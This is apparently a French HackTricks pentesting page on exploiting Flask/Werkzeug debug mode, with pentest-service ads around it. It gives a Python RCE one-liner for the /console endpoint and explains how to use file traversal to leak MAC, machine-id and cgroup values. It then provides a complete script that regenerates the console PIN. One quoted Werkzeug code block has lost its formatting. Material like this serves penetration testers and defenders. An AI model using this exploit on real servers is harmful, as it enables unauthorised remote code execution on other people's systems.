Werkzeug / Flask Debug

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

RCE Console

Si le débogage est actif, vous pourriez essayer d'accéder à /console et obtenir une RCE.

__import__('os').popen('whoami').read();

Il existe également plusieurs exploits sur Internet comme celui-ci ou un dans metasploit.

Protégé par code PIN - Traversée de chemin

Dans certains cas, le point de terminaison /console sera protégé par un code PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.

Exploitation du code PIN de la console Werkzeug

Forcer une page d'erreur de débogage dans l'application pour voir ceci:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de exploiter le NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogueur de Werkzeug (__init__.py). Le mécanisme de génération du NIP peut être étudié à partir du dépôt de code source de Werkzeug, bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version.

Pour exploiter le NIP de la console, deux ensembles de variables, probably_public_bits et private_bits, sont nécessaires :

probably_public_bits

  • username : Fait référence à l'utilisateur qui a initié la session Flask.

  • modname : Généralement désigné comme flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')) : Résout généralement à Flask.

  • getattr(mod, '__file__', None) : Représente le chemin complet vers app.py dans le répertoire Flask (par exemple, /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py n'est pas applicable, essayez app.pyc.

private_bits

  • uuid.getnode() : Récupère l'adresse MAC de la machine actuelle, avec str(uuid.getnode()) la traduisant en format décimal.

  • Pour déterminer l'adresse MAC du serveur, il faut identifier l'interface réseau active utilisée par l'application (par exemple, ens3). En cas d'incertitude, fuite /proc/net/arp pour trouver l'identifiant du périphérique, puis extraire l'adresse MAC de /sys/class/net/<identifiant du périphérique>/address.

  • La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme indiqué ci-dessous :

# Exemple d'adresse MAC : 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id() : Concatène les données de /etc/machine-id ou /proc/sys/kernel/random/boot_id avec la première ligne de /proc/self/cgroup après le dernier slash (/).

Code pour `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Une fois toutes les données nécessaires rassemblées, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels spécifiques (cookiesalt et pinsalt), et en formatant la sortie. Il est important de noter que les valeurs réelles de probably_public_bits et private_bits doivent être obtenues avec précision à partir du système cible pour garantir que le PIN généré correspond à celui attendu par la console Werkzeug.

Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de sha1.

Références

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

Dernière mise à jour